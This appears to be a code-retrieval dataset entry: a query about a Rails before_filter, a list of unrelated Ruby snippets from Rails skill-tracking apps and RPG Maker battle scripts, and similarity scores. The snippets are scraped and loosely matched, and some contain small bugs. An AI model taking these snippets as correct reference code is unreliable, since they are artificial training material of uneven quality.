"def action_a\n $game_system.se_play($data_system.decision_se)\n scene = GamePlay::Skill_Learn.new(@pokemon, @ui.learnable_skills[@index].id)\n scene.main\n if scene.learnt\n @return_data = true\n @running = false\n else\n Graphics.transition\n end\n end",
"def set_skill_level\n @skill_level = SkillLevel.find(params[:id])\n end",
"def set_youth_award_requirement\n @youth_award_requirement = YouthAwardRequirement.find(params[:id])\n end",
"def skill_can_use?(skill_id)\n if not skill_learn?(skill_id)\n return false\n end\n return super\n end",
"def skill_params\n params.require(:skill).permit(:e_no, :battle_type, :set_no, :skill_id, :name)\n end",
"def set_s_skill\n @s_skill = SSkill.find(params[:id])\n end",
"def create\n @skill_assessment = SkillAssessment.new(skill_assessment_params)\n @skill_assessment.save\n session[:skill_assessment_id] = @skill_assessment.id\n\n respond_to do |format|\n if @skill_assessment.save\n if session[:assessment_sequence] && current_user\n disc = DiscAssessment.find(session[:disc_assessment_id])\n disc.update_attributes(:user_id => current_user.id)\n current_user.assign_discs_to_user\n \n value = ValueAssessment.find(session[:value_assessment_id])\n value.update_attributes(:user_id => current_user.id)\n current_user.assign_values_to_user \n \n skill = SkillAssessment.find(session[:skill_assessment_id])\n skill.update_attributes(:user_id => current_user.id)\n current_user.assign_skills_to_user\n\n session[:assessment_sequence] = \"false\"\n session[:disc_assessment_id] = nil\n session[:skill_assessment_id] = nil\n session[:value_assessment_id] = nil\n end\n \n #probably need to send them over to some dashboard instead of the skill view.\n format.html { redirect_to pages_user_dashboard_path, notice: 'Skill assessment was successfully created.' }\n format.json { render :show, status: :created, location: @skill_assessment }\n else\n format.html { render :new }\n format.json { render json: @skill_assessment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_skillset\n @skillset = Skillset.find(params[:id])\n end",
"def set_skillset\n @skillset = Skillset.find(params[:id])\n end",
"def update\n @admin_skill = Admin::Skill.find(params[:id])\n\n if @admin_skill.update(admin_skill_params)\n head :no_content\n else\n render json: @admin_skill.errors, status: :unprocessable_entity\n end\n end",
"def seed_mindleaps_skills(organization)\n Skill.create([\n { skill_name: 'Memorization', skill_description: 'Ability to learn and recall sequences or patterns of information.', organization: organization, grade_descriptors: GradeDescriptor.create([\n { mark: 1, grade_description: 'Student cannot recall a sequence of 4 steps even after prompted at least three times' },\n { mark: 2, grade_description: 'Student can recall a sequence of 4 steps with 1 or no prompts' },\n { mark: 3, grade_description: 'Student can recall at least 2 sections of the warm up from class to class' },\n { mark: 4, grade_description: 'Student can recall entire warm up sequence, moving in time with the teacher, and can repeat diagonal steps after one prompt from the teacher' },\n { mark: 5, grade_description: 'Student can recall entire warm up sequence without teacher guidance, at least four diagonal steps, and at least 16 counts of choreography without teacher prompts' },\n { mark: 6, grade_description: 'Student can recall entire warm up, at least eight diagonal steps, all of choreography and name at least 6 muscles without teacher prompts' },\n { mark: 7, grade_description: 'Student can memorize a new sequence of choreography given in one class and do all of the above' }\n ]) },\n { skill_name: 'Grit', skill_description: 'Perseverance and passion for long-term goals.', organization: organization, grade_descriptors: GradeDescriptor.create([\n { mark: 1, grade_description: 'Student arrives at the center but does not participate in dance class even with teacher or peer encouragement' },\n { mark: 2, grade_description: 'Student participates in less than half of the class' },\n { mark: 3, grade_description: 'Student is present but not actively trying throughout the entire class' },\n { mark: 4, grade_description: 'Student participates in warm up, recognizes change in directions, understands number repetitions, and completes at least 1/2 of diagonal or choreography sections of class' },\n { mark: 5, grade_description: 'Student participates in the entire class and noticeably demonstrates persistence when struggling' },\n { mark: 6, grade_description: 'All of the above and student asks or answers questions' },\n { mark: 7, grade_description: 'Student shows an extraordinary level of commitment by either practicing before/after class (self-initiated), asking questions that suggest a deeper analysis, or asking for more opportunities to practice' }\n ]) },\n { skill_name: 'Teamwork', skill_description: 'Ability to work and/or create with other students.', organization: organization, grade_descriptors: GradeDescriptor.create([\n { mark: 1, grade_description: 'Student refuses to hold hands or interact with partner in a required sequence across the floor' },\n { mark: 2, grade_description: 'Student will do above, but is unable to work or communicate with his/her peer in any piece of choreography or another part of class, even when encouraged by the teacher' },\n { mark: 3, grade_description: 'Student can work together with his/her peer in 2 or 3 simple steps in diagonal (two by two) or choreography when demonstrated/encouraged by the teacher with two verbal prompts' },\n { mark: 4, grade_description: 'Student can work together with his/her peer in a section of diagonal (two by two) and complete at least four partnered/group movements in choreography' },\n { mark: 5, grade_description: 'Student can work in a group to create a short choreographic piece with teacher coaching' },\n { mark: 6, grade_description: 'Student can work in a group to create a short choreographic piece without teacher coaching' },\n { mark: 7, grade_description: 'Student can work in a group to create a piece that is presented to the rest of class' }\n ]) },\n { skill_name: 'Discipline', skill_description: 'Ability to obey rules and/or a code of conduct.', organization: organization, grade_descriptors: GradeDescriptor.create([\n { mark: 1, grade_description: 'Student repeatedly talks back, fights, hits or argues with peers and teachers and does not stop even when asked repeatedly; student is sent out of the class for 5-10 minutes by the teacher' },\n { mark: 2, grade_description: 'Student has to be reminded at least twice by name to respect his peers and/or pay attention to the teacher' },\n { mark: 3, grade_description: 'Student has to be reminded once by name to respect his peers or pay attention to the teacher' },\n { mark: 4, grade_description: 'Student respects/pays attention to the teacher, but bothers his peers, or vice versa (with no comments/prompts by teacher)' },\n { mark: 5, grade_description: 'Student works well with others and no teacher intervention is needed' },\n { mark: 6, grade_description: 'Student actively encourages others to pay attention and improve their behavior' },\n { mark: 7, grade_description: 'Student actively becomes a role model of exceptional, respectful behavior to the others' }\n ]) },\n { skill_name: 'Self-Esteem', skill_description: 'Confidence in one’s own abilities.', organization: organization, grade_descriptors: GradeDescriptor.create([\n { mark: 1, grade_description: 'Student cannot perform any movement isolated (by himself)' },\n { mark: 2, grade_description: 'Student can perform a sequence of 2-4 steps on his own' },\n { mark: 3, grade_description: 'Student can continue through warm up sections and repetition of diagonal steps without encouragement from the teacher' },\n { mark: 4, grade_description: 'Student can demonstrate by himself steps of the diagonal and volunteer parts of the choreography when asked by the teacher' },\n { mark: 5, grade_description: 'Student can demonstrate the warm up, diagonal steps and all of the choreography by himself with confidence and no prompts' },\n { mark: 6, grade_description: 'Student can verbally explain movement in the warm up, diagonal and choreography' },\n { mark: 7, grade_description: 'Student demonstrates confidence as a person and dancer through extending full use of body in space ' }\n ]) },\n { skill_name: 'Creativity & Self-Expression', skill_description: 'Use of imagination.', organization: organization, grade_descriptors: GradeDescriptor.create([\n { mark: 1, grade_description: 'Student is unable to demonstrate personal creativity by making up any pose or movement of his own' },\n { mark: 2, grade_description: 'Student can only demontrate creative movement in a single step or movement with teacher\\'s prompts' },\n { mark: 3, grade_description: 'Student can make up his own arms for a sequence of steps' },\n { mark: 4, grade_description: 'Student can only demonstrate creative movement in a series of steps by copying the teacher or peer\\'s earlier demonstration' },\n { mark: 5, grade_description: 'Student can create his own movements that have not been taught before and differ from standard hip hop moves' },\n { mark: 6, grade_description: 'Student can create his own choreography' },\n { mark: 7, grade_description: 'Student can create his own choreography and present it' }\n ]) },\n { skill_name: 'Language', skill_description: 'The process to understand and communicate.', organization: organization, grade_descriptors: GradeDescriptor.create([\n { mark: 1, grade_description: 'Student is unable to count in a foreign language (eg English)' },\n { mark: 2, grade_description: 'Student can count with teacher prompting, and can recall some basic words with one prompt' },\n { mark: 3, grade_description: 'Student can count without prompts and recall some words' },\n { mark: 4, grade_description: 'Student can recite positions in the warm up, at least six of the diagonal steps\\' names and positions' },\n { mark: 5, grade_description: 'Student can recite positions in warm up, diagonal steps, and muscle names' },\n { mark: 6, grade_description: 'Student can recite simple phrases (minimum of 3 words)' },\n { mark: 7, grade_description: 'Student can make himself understood to ask questions or make comments' }\n ]) }\n ])\nend",
"def learnable_skill_params\n params.require(:learnable_skill).permit(:chara_type, :job_id, :skill_no, :sp, :skill_id)\n end",
"def set_areas_skill\n @areas_skill = AreasSkill.find(params[:id])\n end",
"def check_custom_assign_ids\n skill_to_pose_hash = bat.cust_skill_pose\n if skill_to_pose_hash != nil\n pose = skill_to_pose_hash[@character.animation_id]\n if pose != nil\n @character.set_pose(pose-1)\n @character.animation_id = 0 #clear animation id since we have handled it\n end\n end\n end",
"def set_skill_assessment\n @skill_assessment = SkillAssessment.find(params[:id])\n end",
"def set_battle_use_skill_concatenation\n @battle_use_skill_concatenation = BattleUseSkillConcatenation.find(params[:id])\n end",
"def desired_skill_params\n params.require(:desired_skill).permit(:user_id, :skill_id)\n end",
"def set_skill_slot\n @skill_slot = SkillSlot.find(params[:id])\n end",
"def add_skills(skill_names,created_by_id)\r\n job_seeker = JobSeeker.find(created_by_id)\r\n JobSeekerProficiency.delete_all(\"job_seeker_id = '#{self.id}'\")\r\n \r\n for skill in skill_names\r\n\r\n skill_split = skill.split(\"__\");\r\n skill_obj = Proficiency.find_by_name(skill_split[0])\r\n if skill_obj.nil?\r\n skill_obj = Proficiency.create({:name=>skill_split[0],:created_by=>created_by_id,:activated=>\"0\"})\r\n end\r\n\r\n JobSeekerProficiency.create!(:job_seeker_id => created_by_id, :proficiency_id => skill_obj.id, :education_id => skill_split[1].split(\"_\")[0], :skill_id => skill_split[2].split(\"_\")[0])\r\n\r\n end\r\n end",
"def set_current_skill\n @current_skill = CurrentSkill.find(params[:id])\n end",
"def skill_params\n params.require(:skill).permit(:character_id, :name, :ability, :proficient)\n end",
"def make_skill_action_result\n # Gather the current Ammo Cost\n gather_ammo_cost = Ammo::Skill_ammo[@active_battler.current_action.skill_id]\n # Gather Ammo\n gather_ammo = Ammo::Range_ammo_id[@active_battler.weapon_id]\n # Check if the Actor is using a defiend skill\n if Ammo::Skill_ammo.has_key?(@active_battler.current_action.skill_id)\n # Check if Ammo is present\n if $game_party.item_number(gather_ammo) >= gather_ammo_cost\n # Sufficient Ammo, remove item\n $game_party.lose_item(gather_ammo,gather_ammo_cost)\n # Call Default Code\n syn_scene_battle_skill\n else\n # Set Window; Do Nothing\n @help_window.set_text(\"#{@active_battler.name} cannot attack due to insufficient Ammo\", 1)\n end\n # Otherwise SKip the check and call default code\n else\n syn_scene_battle_skill\n end\n end",
"def set_crew_skill\n @crew_skill = CrewSkill.find(params[:id])\n end",
"def send_unlock_instructions; end",
"def valid_skill\n @windows[Win_Help].move_to(2)\n @active_battler.current_action.set_skill(@spell.id)\n @targets = get_targets\n if @ATB_Active and \n GTBS::USE_WAIT_SKILLS and GTBS::ALLOW_SKILL_TARGET and \n GTBS::skill_wait(@spell.id)[0] > 0\n occ = occupied_by?(@cursor.x, @cursor.y)\n if occ and !occ.dead? \n type = Command_Confirm::Wait_Skill_Targeting\n end\n Sound.play_decision\n @cursor.active = false\n #Do immediat skill if type == nil\n @windows[Win_Confirm].ask(Command_Confirm::Skill, type)\n @windows[Win_Status].dmg_preview(2, @active_battler, @spell, @targets)\n \n elsif @targets.size >0 #unless targets 0 or less for some reason\n #make summons miss when cell is occupied\n if (GTBS::is_summon?(@spell.id, @active_battler.is_a?(Game_Actor))> 0 && occupied_by?(@cursor.x, @cursor.y)!= nil) or \n (@spell.for_opponent? && (@selected == @active_battler && !GTBS::ATTACK_ALLIES) &&\n !@active_battler.skill_range(@spell.id)[3] )\n Sound.play_buzzer\n else\n Sound.play_decision\n @cursor.active = false \n @windows[Win_Confirm].ask(Command_Confirm::Skill)\n @windows[Win_Status].dmg_preview(2, @active_battler, @spell, @targets)\n end\n \n elsif GTBS::is_summon?(@spell.id, @active_battler.is_a?(Game_Actor))>0 and $game_map.passable?(@cursor.x, @cursor.y, 0)\n Sound.play_decision\n @cursor.active = false \n @windows[Win_Confirm].ask(Command_Confirm::Skill)\n @windows[Win_Status].dmg_preview(2, @active_battler, @spell, @targets)\n \n elsif (!$game_system.actors_bodies? || GTBS::REVIVE_ANY_DEAD) and \n @spell.for_dead_friend? and occupied_by?(@cursor.x, @cursor.y) == nil\n open_revive_window\n \n else\n #Unauthorized validation\n Sound.play_buzzer\n end\n end",
"def update\n abilities = []\n params[:role][:role_abilities].each do |ability|\n abilities << ability.to_sym\n end\n @role.role_abilities = [{\"action\"=> abilities, \"subject\"=>[:api]}]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to roles_path, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def handle_pal_ids\n handle_admin_role_ids Seek::Roles::PAL\n end",
"def handle_pal_ids\n handle_admin_role_ids Seek::Roles::PAL\n end",
"def use_skill_nontarget\n Sound.play_use_skill\n @actor.mp -= @actor.calc_mp_cost(@skill)\n @status_window.window_update(@actor)\n @skill_window.window_update(@actor)\n @target_window.window_update($game_party.members)\n if $game_party.all_dead?\n $scene = Scene_Gameover.new\n elsif @skill.common_event_id > 0\n $game_temp.common_event_id = @skill.common_event_id\n $scene = Scene_Map.new\n end\n end",
"def use_skill_nontarget\n Sound.play_use_skill\n @actor.mp -= @actor.calc_mp_cost(@skill)\n @status_window.window_update(@actor)\n @skill_window.window_update(@actor)\n @target_window.window_update($game_party.members)\n if $game_party.all_dead?\n $scene = Scene_Gameover.new\n elsif @skill.common_event_id > 0\n $game_temp.common_event_id = @skill.common_event_id\n $scene = Scene_Map.new\n end\n end",
"def set_user_skill\n @user_skill = UserSkill.find_by(id: user_skill_params[:user_skill_id])\n end",
"def resend_unlock_instructions; end",
"def set_counter_action(current)\n if current['type'] == 1 and current['id'].is_a?(Array)\n available_skills = []\n for skill_id in current\n available_skills << skill_id if skill_can_use?(skill_id) or not current['cost']\n end\n action = available_skills[rand(available_skills.size)]\n elsif current['type'] == 2 and current['id'].is_a?(Array)\n available_skills = []\n for item_id in current\n available_skills << skill_id if $game_party.item_can_use?(item_id) or not\n current['cost'] or not self.actor?\n end\n action = available_skills[rand(available_skills.size)]\n else\n action = current['id']\n end\n return current.dup\n end",
"def set_blue_magic_skill_to_learn_flags(item)\n $game_party.members.each do |actor|\n if actor.blue_magic_learning?\n actor.result.blue_magic_skill_to_learn = item.id\n end # if\n end # do\n end",
"def skill_params\n params.require(:skill).permit(:name,:user_id)\n end",
"def update\n @skill = Skill.find(params[:id])\n\t\tauthorize! :update, Skill\n\t\t\n respond_to do |format|\n if @skill.update_attributes(params[:skill])\n format.html { redirect_to skills_path, notice: 'Skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def generate_responsibilities\n set_positions\n set_team_members\n create_responsibilities\n\n\n\n assign_responsibilities\n\n # assign_team_members\n end",
"def create\n @skill = Skill.new(skill_params)\n respond_to do |format|\n if @skill.save\n if @skill.approved == true # approved value is true if it is created by the Admin user\n format.html { redirect_to skill_categories_path, notice: 'Skill was successfully created.' }\n format.json { render :show, status: :created, location: @skill }\n else # approved value is false if it's created by the Host or Candidate, and it requires Admin's approval\n @candidate_skill = CandidateSkill.create(user_id: current_user.id, skill_id: @skill.id)\n @candidate_skill.save!\n NewlyAddedSkillMailer.approve_new_skill(@skill.id, current_user.id).deliver_now\n # format.html { redirect_to @skill, notice: 'Skill was successfully created.' }\n if params[:oppo_id].present?\n format.html { redirect_to required_skills_path(oppo_id: params[:oppo_id]), notice: 'Skill was successfully created.' }\n format.json { render :show, status: :created, location: @skill }\n else\n format.html { redirect_to my_skills_path, notice: 'Skill was successfully created.' }\n format.json { render :show, status: :created, location: @skill }\n end\n end\n else\n format.html { render :new }\n format.json { render json: @skill.errors, status: :unprocessable_entity }\n end\n end\n end",
"def unlock_features\n create_shovel\n create_key\n unlock_armoire\n create_phone\n end",
"def update\n @talent = Talent.find(params[:id])\n \n # Check if the array exists\n if params[:talent][:skill_ids]\n # Unset skills that have not been selected\n params[:talent][:skill_ids] ||= []\n else\n # if the array doesn't exist then delete all the skills associated\n # If it doesn't exist then the user un-checked all the skills\n @talent.skills.delete_all\n end \n \n respond_to do |format|\n if @talent.update_attributes(params[:talent])\n format.html { redirect_to @talent, :notice => 'Talent was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @talent.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def skill_params\n params.require(:skill).permit(:e_no, :set_no, :skill_type_id, :type_id, :nature_id, :skill_id, :name, :timing_id)\n end",
"def ty_execute_action_skill\n # Check to see if the current attacker is the actor and is using a weapon that needs ammo\n if @active_battler.is_a?(Game_Actor) && TysAmmoRequirements::Skill_ammo_cost[@active_battler.action.skill_id]\n if TysAmmoRequirements::Weapons_ammo_id[@active_battler.weapon_id].is_a?(Array)\n # Check passed, so now we store the array items\n array_items = TysAmmoRequirements::Weapons_ammo_id[@active_battler.weapon_id]\n # Now we check each ID in array_items and compare to see if we have enough ammo\n for index in array_items\n # Check to see if the actor has enough ammo\n if $game_party.item_number($data_items[index]) >= gather_ammo_cost\n # Check cleared, gather item ID and terminate check loop\n gather_ammo_item = $data_items[index]\n break\n end\n end\n else\n gather_ammo_item = $data_items[TysAmmoRequirements::Weapons_ammo_id[@active_battler.skill_id]]\n end\n # Both checks clear, so perform Ammo adjustments\n # First we collect some end-user options, like ammo cost and ammo ID.\n gather_ammo_cost = TysAmmoRequirements::Skill_ammo_cost[@active_battler.action.skill_id]\n id = @active_battler.action.skill_id\n gather_ammo_item = $data_items[TysAmmoRequirements::Skill_ammo_id[id]]\n if $game_party.item_number(gather_ammo_item) >= gather_ammo_cost\n # The check cleared, so perform ammo adjustments\n # Consume Ammunition\n $game_party.lose_item(gather_ammo_item, gather_ammo_cost)\n # Display text\n text = sprintf(Vocab::ConsumeAmmo, @active_battler.name, gather_ammo_cost, gather_ammo_item.name)\n @message_window.add_instant_text(text)\n else\n # Failed check, go into defense mode\n text = sprintf(Vocab::NoAmmo, @active_battler.name, gather_ammo_item.name)\n @message_window.add_instant_text(text)\n @active_battler.action.kind = 0\n execute_action_guard\n end\n # Perform a check to see if Active_Battler is a enemy and has ammo\n elsif @active_battler.is_a?(Game_Enemy) && $data_enemies[@active_battler.enemy_id].note.include?(TysAmmoRequirements::Enemy_ammo_activate_string) && TysAmmoRequirements::Enemy_skill_cost[@active_battler.action.skill_id]\n # Now we have to isolate the interger in the 'Note' string of the enemies\n # and then store the interger in a new local value for future use.\n enemy_ammo_cost = TysAmmoRequirements::Enemy_skill_cost[@active_battler.action.skill_id]\n enemy_ammo_name = TysAmmoRequirements::Enemy_ammo_name[@active_battler.enemy_id]\n # Check to see if the enemy has enough ammo to attack\n if @enemy_ammo[@enemy_attack] >= enemy_ammo_cost\n # Check cleared, remove enemy ammo.\n text = sprintf(Vocab::EnemyUsedAmmo, @active_battler.name, enemy_ammo_name)\n @message_window.add_instant_text(text)\n @enemy_ammo[@enemy_attack] -= enemy_ammo_cost\n else\n # Check failed, put enemy in guard mode \n text = sprintf(Vocab::EnemyNoAmmo, @active_battler.name, enemy_ammo_name)\n @message_window.add_instant_text(text)\n @active_battler.action.kind = 0\n execute_action_guard\n end\n end\n end",
"def make_skill_action_result\n # Get skill\n @skill = $data_skills[@active_battler.current_action.skill_id]\n # If not a forcing action\n unless @active_battler.current_action.forcing\n # If unable to use due to SP running out\n unless @active_battler.skill_can_use?(@skill.id)\n # Clear battler being forced into action\n $game_temp.forcing_battler = nil\n # Shift to step 1\n @phase4_step = 1\n return\n end\n end\n # Use up SP\n @active_battler.sp -= @skill.sp_cost\n # Refresh status window\n @status_window.refresh\n # Show skill name on help window\n @help_window.set_text(@skill.name, 1)\n # Set animation ID\n @animation1_id = @skill.animation1_id\n @animation2_id = @skill.animation2_id\n # Set command event ID\n @common_event_id = @skill.common_event_id\n # Set target battlers\n set_target_battlers(@skill.scope)\n # Apply skill effect\n for target in @target_battlers\n target.skill_effect(@active_battler, @skill)\n end\n end",
"def set_skills_user\n @skills_user = SkillsUser.find(params[:id])\n end",
"def assign_to(sid, take_home = false)\n e = self.last_open_exam?\n w = e.worksheets.create student_id: sid \n\n indie = self.teacher.indie \n w.bill unless indie # for indie quizzes, block slots only on payment\n\n unless take_home \n Delayed::Job.enqueue WriteTex.new(w.id, w.class.name)\n job = Delayed::Job.enqueue(CompileTex.new(w.id, w.class.name))\n w.update_attribute(:job_id, job.id) if indie\n else \n Mailbot.delay.quiz_assigned(w.id)\n end\n return w\n end",
"def destroy\n @admin_skill.destroy\n\n head :no_content\n end",
"def skill_effect_setup\r\n self.critical = false\r\n end",
"def skillsNeeded\n\t\t[]\n\tend",
"def check_new_skills\n last_skills = skills\n self.class.learnings.each do |learning|\n learn_skill(learning.skill_id) if can_learn_skill?(learning)\n end\n display_learn_skills(skills - last_skills)\n end",
"def admin_params\n #params.require(:skill).permit(:id, :oral_score, :written_score, :analytic_score, :computing_score)\n end",
"def suspend_agent\r\n Admin.suspend params[:id]\r\n redirect_to :action => 'show_agents' \r\n end",
"def set_issue_skill\n @issue_skill = IssueSkill.find(params[:id])\n end",
"def update\n # this action is not provided for partyroles\n end",
"def check_on_skill_use(user,target,skill,fail = false, success = false)\n string = Lecode_Challenge_Maker::On_Skill_Use[name]\n error = \"Kernel.eval Error | \"+name+\" | on_skill_use\"\n Kernel.eval(string) rescue msgbox error\n if success\n checkSuccess(false)\n else\n checkCondition(!fail)\n end\n end",
"def update\n respond_to do |format|\n if @desired_skill.update(desired_skill_params)\n format.html { redirect_to @desired_skill, notice: 'Desired skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @desired_skill }\n else\n format.html { render :edit }\n format.json { render json: @desired_skill.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6360636",
"0.6320044",
"0.6278272",
"0.612025",
"0.6069391",
"0.59727085",
"0.5959961",
"0.5959599",
"0.58318317",
"0.58237493",
"0.5820707",
"0.5808836",
"0.5804556",
"0.57919794",
"0.5791363",
"0.57837635",
"0.5779786",
"0.57516694",
"0.57420963",
"0.5737335",
"0.57305485",
"0.5728644",
"0.57236874",
"0.57236874",
"0.57236874",
"0.57236874",
"0.57236874",
"0.57236874",
"0.57236874",
"0.5713799",
"0.5707206",
"0.5695868",
"0.5684683",
"0.56761664",
"0.56761664",
"0.5672999",
"0.5664077",
"0.566198",
"0.566015",
"0.56595534",
"0.56216294",
"0.56113803",
"0.5611201",
"0.5609407",
"0.55889505",
"0.558553",
"0.5572517",
"0.5566164",
"0.55661374",
"0.55640113",
"0.5561184",
"0.55573785",
"0.5554785",
"0.55461216",
"0.55461216",
"0.55440557",
"0.55366486",
"0.553621",
"0.5532622",
"0.5524546",
"0.55238104",
"0.5519671",
"0.55074674",
"0.550024",
"0.54962796",
"0.54818565",
"0.54748106",
"0.547329",
"0.5470751",
"0.5465718",
"0.54582584",
"0.54498935",
"0.5441469",
"0.5441469",
"0.54401183",
"0.54401183",
"0.5423781",
"0.54128397",
"0.5407127",
"0.539937",
"0.5399237",
"0.53948545",
"0.5394244",
"0.53869796",
"0.5386633",
"0.5384568",
"0.53758323",
"0.5373976",
"0.53703785",
"0.53650963",
"0.53614235",
"0.53598756",
"0.5357904",
"0.5349317",
"0.53331256",
"0.53295213",
"0.5328719",
"0.5325656",
"0.53234553",
"0.5318423",
"0.53184044"
] |
0.0
|
-1
|
Below code is before_filter only for ['new','create','named_views_secretarys_task']
|
def get_service_session
@sp_session = current_service_session
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def before_filter; end",
"def run_filters\n set_user\n authorize\n end",
"def index\n @task_filter = if params.has_key? :task_filter\n TaskFilter.new(params[:task_filter])\n else\n TaskFilter.new\n end\n\n @task_deletion = TaskDeletion.new\n\n @tasks = current_user.tasks\n .includes(:category)\n .includes(:tags)\n .apply_filter(@task_filter)\n .order(category_id: :desc)\n .all\n\n @categories = current_user.categories.all\n @tags = current_user.tags.all\n end",
"def after_filter; end",
"def before_action \n end",
"def before_dispatch(env); end",
"def auth_create_filter\n if not self.class.allowed_to_create\n false\n else\n true\n end\n end",
"def pre_generation_hook(task)\n end",
"def before_create()\n end",
"def named_filter; end",
"def index # all available task\n @task_check = Task.all\n # need to list only Tasks that is not owned by current_user\n if user_signed_in?\n @my_id = current_user.id\n # All Available task not current_user & checks for accepted_by_user_id == 0\n # query worked only after setting accepted_by_user_id to = 0 from nil\n # Set default field of accepted_by_user_id to 0 within task.rb via after_initialize\n # @tasks = Task.where(\"user_id != ? AND task_status = ? AND accepted_by_user_id = ?\", @my_id, \"Available\", 0)\n @tasks = Task.where(\"user_id != ? AND task_status = ? AND accepted_by_user_id = ?\", @my_id, \"Available\", 0)\n @tasks2 = @tasks\n else\n # All Available task including my tasks : user_signed_in?(false) => index display\n @tasks = Task.where(task_status: \"Available\")\n @tasks2 = @tasks\n end\n end",
"def before_dispatch(_env)\n end",
"def before_run; end",
"def filter\n super\n end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def view_flow; end",
"def create\n @task = current_user.tasks.new(params[:task])\n @task.switch_now if params[:commit] == 'Switch Now'\n\n respond_to do |format|\n if @task.save\n format.html { redirect_to(@task, :notice => 'Task was successfully created.') }\n format.xml { render :xml => @task, :status => :created, :location => @task }\n else\n @tags = current_user.tags.all\n format.html { render :action => \"new\" }\n format.xml { render :xml => @task.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def pre_task\n end",
"def gantt_filter\n render(:partial => \"tasks/filter\", \n :locals => { \n :redirect_action => \"gantt\",\n :hide_grouping => true,\n :hide_colors => true,\n :hide_icons => true,\n :hide_organize => true,\n :hide_hide_dependencies => true\n })\n end",
"def show\n # @task = Task.find(params[:id])\n # substituido pela funcao no before_action\n end",
"def on_pre_request( request )\n end",
"def process_before_filter name\n filter = find_method name, @current_class\n\n if filter.nil?\n Brakeman.debug \"[Notice] Could not find filter #{name}\"\n return\n end\n\n method = filter[:method]\n\n if ivars = @tracker.filter_cache[[filter[:controller], name]]\n ivars.each do |variable, value|\n env[variable] = value\n end\n else\n processor = Brakeman::AliasProcessor.new @tracker\n processor.process_safely(method.body_list, only_ivars(:include_request_vars))\n\n ivars = processor.only_ivars(:include_request_vars).all\n\n @tracker.filter_cache[[filter[:controller], name]] = ivars\n\n ivars.each do |variable, value|\n env[variable] = value\n end\n end\n end",
"def liquid_view_filters\n []\n end",
"def on_pre_request( request ); end",
"def before_tours; end",
"def before_create_hook\n execute_hooks_for(:before, :create)\n end",
"def before_configuration_tasks \n end",
"def enforce_viewing_context_for_show_requests \n end",
"def test_add_filter\n flunk\n end",
"def before_filter\n if current_user\n true\n end\n end",
"def index\n authorize Task\n @filterrific = initialize_filterrific(\n Task,\n params[:filterrific],\n select_options: {\n with_task_status_id: TaskStatus.options_for_select,\n with_assigned_to_id: User.options_for_select\n },\n ) or return\n\n #@filterrific.sorted_by = 'task_status_asc' if @filterrific.sorted_by.blank?\n\n @selected_per_page = get_session_per_page(Task.per_page)\n if @filterrific.with_task_status_id.nil?\n @tasks = @filterrific.find.for_user(current_user).not_closed.page(params[:page]).per_page(@selected_per_page)\n else\n @tasks = @filterrific.find.for_user(current_user).page(params[:page]).per_page(@selected_per_page)\n end\n respond_to do |format|\n format.html\n format.js\n end\n\n rescue ActiveRecord::RecordNotFound => e\n puts \"Had to reset filterrific params: #{ e.message }\"\n redirect_to(reset_filterrific_url(format: :html)) and return\n\nend",
"def skip_tab_filter?\n !['index', 'new', 'create'].include?(params[:action])\n end",
"def skip_tab_filter?\n !['index', 'new', 'create'].include?(params[:action])\n end",
"def skip_tab_filter?\n !['index', 'new', 'create'].include?(params[:action])\n end",
"def create\n @task = Task.new(task_params)\n @task.created_by = current_user\n authorize @task\n unless can_change_task_owner(@task)\n @task.assigned_by = current_user\n end\n respond_to do |format|\n if @task.save\n format.html { redirect_back_or_default tasks_url, t('Record has been saved') }\n format.json { render :show, status: :created, location: @task }\n else\n format.html { render :new }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def after_created; end",
"def before_filter(&block)\n @before_filter = block\n end",
"def delete\n # All work done via before_filters.\n end",
"def filter_redirect; end",
"def filter_redirect; end",
"def after_view_setup\n end",
"def pre_authorize_cb; end",
"def create\n @todo = Todo.new(params[:todo])\n\n respond_to do |format|\n if @todo.save\n case params[\"commit\"]\n when \"Save and Back to the project\" then format.html { redirect_to todos_path(:filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully created.' }\n when \"Save and Insert\" then format.html {redirect_to new_todo_path(:filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully created.' }\n else\n format.html { redirect_to todo_path(:id => @todo.id, :filter_project => @todo.project.id, :filter_status => params[:hidden][:filter_status], :exclude_status => params[:hidden][:exclude_status]), notice: 'Todo was successfully created.' }\n format.json { render json: @todo, status: :created, location: @todo }\n end\n else\n format.html { render action: \"new\" }\n format.json { render json: @todo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def prepare_task\n end",
"def before_filter(filter_name, options)\n [options[:only]].flatten.each do |action|\n add_filter(filter_name, action)\n end\n end",
"def index\n @tasks = policy_scope(Task)\n record.user == current_user\n end",
"def before_processing\n end",
"def show\n authorize! :read, @task\n end",
"def task_for_project_leaders\n return @_action_name == \"index\" || @_action_name == \"edit\" || @_action_name == \"new\" || @_action_name == \"create\"\n end",
"def create\n # 'params_task' returns the value that is authorized by this function\n # rails in default blocks any modifications so we have to give this access\n @task = Task.new(task_params)\n @task.save\n # we don't want to go to a kind of 'create's page' so we are redirecting to\n # out root page\n redirect_to tasks_path(@task)\n end",
